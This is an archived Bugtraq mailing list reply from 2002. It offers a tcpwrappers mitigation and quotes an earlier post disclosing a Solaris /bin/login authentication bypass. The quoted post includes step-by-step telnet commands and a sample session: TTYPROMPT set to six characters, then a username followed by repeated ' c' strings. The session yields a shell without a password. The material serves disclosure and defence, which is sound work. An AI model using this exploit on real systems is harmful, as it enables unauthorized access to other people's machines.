Bugtraq mailing list archives
Re: Solaris 2.6, 7, 8
From: Ramon Kagan <rkagan () YorkU CA>
Date: Wed, 2 Oct 2002 13:26:59 -0400 (EDT)
Another thing, if you tcpwrap your telnet sessions, you can prevent localhost telnets. Ramon Kagan York University, Computing and Network Services Unix Team - Intermediate System Administrator (416)736-2100 #20263 rkagan () yorku ca ------------------------------------- I have not failed. I have just found 10,000 ways that don't work. - Thomas Edison ------------------------------------- On Wed, 2 Oct 2002, Jonathan S wrote:
Hello, Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the environment variable TTYPROMPT. This vulnerability has already been reported to BugTraq and a patch has been released by Sun. However, a very simple exploit, which does not require any code to be compiled by an attacker, exists. The exploit requires the attacker to simply define the environment variable TTYPROMPT to a 6 character string, inside telnet. I believe this overflows an integer inside login, which specifies whether or not the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin Jonathan Stuart Network Security Engineer Computer Consulting Partners, Ltd. E-mail: jons () ccpartnersltd com
Current thread:
- Re: Solaris 2.6, 7, 8, (continued)
- Re: Solaris 2.6, 7, 8 Dave Ahmad (Oct 02)
- Re: Solaris 2.6, 7, 8 buzheng (Oct 02)
- Re: Solaris 2.6, 7, 8 tb0b (Oct 03)
- Re: Solaris 2.6, 7, 8 Marco Ivaldi (Oct 03)
- Re: Solaris 2.6, 7, 8 Sebastian (Oct 05)
- Re: Solaris 2.6, 7, 8 Christopher X. Candreva (Oct 02)
- Re: Solaris 2.6, 7, 8 Gert-Jan Hagenaars (Oct 03)
- Re: Solaris 2.6, 7, 8 buzheng (Oct 02)
- Re: Solaris 2.6, 7, 8 Ido Dubrawsky (Oct 03)
- Re: Solaris 2.6, 7, 8 Ramon Kagan (Oct 03)
- Re: Solaris 2.6, 7, 8 Roy Kidder (Oct 03)
- Re: Solaris 2.6, 7, 8 Ramon Kagan (Oct 03)
- RE: Solaris 2.6, 7, 8 Sinan Eren (Oct 02)
- Re: Solaris 2.6, 7, 8 Dan Diamond (Oct 03)
- RE: Solaris 2.6, 7, 8 Morgan (Oct 04)
- Re: Solaris 2.6, 7, 8 Dave Ahmad (Oct 02)